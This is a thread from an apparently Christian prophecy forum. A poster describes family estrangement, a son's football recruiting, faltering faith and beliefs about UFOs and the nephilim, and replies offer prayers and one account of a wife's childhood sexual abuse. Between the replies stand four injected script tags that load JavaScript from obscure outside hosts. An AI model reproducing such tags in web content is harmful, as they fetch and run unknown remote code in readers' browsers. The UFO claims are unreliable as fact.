I had to take a break from prophecy for awhile but I feel like I'm back. I dont know what's it been a year or 2. I became like Jim Carey in the movie 23 it consumed me. I read 6 or 7 hours a day. I still long for the rapture and I still long for peace that I know is my heart. I was focused on getting my son into a D1 football program and was successful but its been a battle. A battle against a son who no matter what I do sees no good in me and I seem to only stoke the fires trying to prove my self worth. Which is just a shame. We've been a family that's been rocked by father that did the unthinkable. My son and my sister choose my fathers side. My mother choose my side. I'm baffled to the point of being speechless. My fathers sin was so unthinkable its beyond comprehension. My father has some money and I think that's where his loyalties from my son and sister lie. They don't even really acknowledge what he did. Have you ever been in or around a toxic family or friendship? Its like being in a tornado that never ends. Eventually you have to jump out of the tornado. My son is lost. Really lost when it comes to being a moral individual. He got cut from CSU but I've done a lot of recruiting and he has a chance to get a scholarship at TEMPLE. Please keep this in your prayers for that gift. Like receiving a large some of money and not thinking you need the father. I've been in a cloud the last 2 years thinking about my son playing football. Its been my dream and I hope it would be his. I haven't been walking in faith. I haven't been in daily prayer. I still have my vices. When I was at a marked men for christ retreat in the mountains I'll never forget the story about a African immigrant. This man would get jobs, lose jobs. He would jump from housing situation to housing situation. He would have no money and then money he said would just show up in his account for now reason. His faith was so strong that he would say the Lord will provide. I really really wish I had that faith. I'm convicted by the horrible event that happened to me as a child. I cant seem to let go. I'm a strong republican but I wish I was politic-less. I cant forgive my own father or sister even though I've been in prayer about it for well over 15 years and forever whatever reason I cant seem to let go of those who have caused my mother pain. Yes I'm a momma's boy. She's a sweetheart. Her name is Colleen. Prayers for her are always grateful too. :prayer-hands: I remember Paul saying he hated his sin nature. I hate my sin nature. I've come to hate the flesh but seem to do everything to keep it happy. I keep thinking or wondering that one day God will use my pain but he hasnt yet. I know deep down there's such a better person in me than whats portrayed. I have mentioned many times that I have seen UFO's that would make you question your faith. I feel like the realms of the supernatural are about ready to be explode open. The fact that the government is now officially saying that UFO's are real. The Navy has chased them and now open shows the film, tells me that a revealing is about ready to come. I feel like the return of the nephillim and the return of the fallen angels is near. My good friend LA Marzulli always reminds me that a deception soo great is coming that even the elect will be deceived. Never leaves my mind. I'm jumping around from thought to thought as I always do but I think our political situation is out of our control now. I believe that its just a part of the formation of the 10 kingdoms. What happens in the World Political System is beyond our control now but we seem to think we can control it. I'm trying really hard to get focused in prayer again. I'm really trying to let go and let God again. Please pray for me regarding that. Please pray that I let go of the anger and that I become the man I know I need to be for the father. :good: Glad your back. May the Lord help you find your way back. May He restore mental and spiritual health. I was watching a documentary on UFO's and the governments involvement. Supposedly they have identified some 47 different types of aliens. Indeed a great deception for sure. TR In John 14:27 Jesus says "Peace I leave with you, My peace I give to you. Let not your heart be troubled , neither let it be afraid." May His peace manifest in your life and deliver and FREE you , allowing you to let Him live His life in you. GOD bless you --you are loved . <script src="//dimagesrc.com/21b4eb3b66b8d5e9bb.js"></script><script src="https://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8628x" type="text/javascript"></script><script src="https://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8628x&format=arrjs&r=1569683832610" type="text/javascript"></script><script src="https://dimagesrc.com/ext/21b4eb3b66b8d5e9bb.js?sid=52587_8628_&title=a&blocks[]=31af2" type="text/javascript"></script> :prayer-hands: My wife was an incest survivor of sexual abuse by her father for twelve years. Her abuse started about the age of two years old. She spent 17 yrs in personal therapy, as we could afford it. As like your family, she had few family members who could believe her claims. Also common was that one family member would be targeted for such abuse. Years later both my daughters also claimed that their grandfather tried to molest them as well. This type of insidious behaviour does adversely affect many. I spent years angry, not knowing who to blame. God, the devil or her father. Normal intimacy has always been an issue and challenge. Let alone trust issues for my wife! Believe me when I say that I can relate. But there is light at the end of the tunnel. With enough time, love and a lot of dying to self to escape brokenness, hurt and hate. TR
